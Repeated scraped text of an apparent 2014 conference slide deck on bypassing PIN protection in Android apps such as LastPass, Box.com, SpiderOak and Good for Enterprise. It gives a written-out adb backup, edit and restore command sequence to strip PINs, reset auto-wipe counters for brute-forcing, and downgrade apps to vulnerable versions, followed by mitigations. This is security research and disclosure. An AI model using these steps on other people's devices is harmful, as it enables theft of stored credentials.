  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 89: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 90: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 91: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

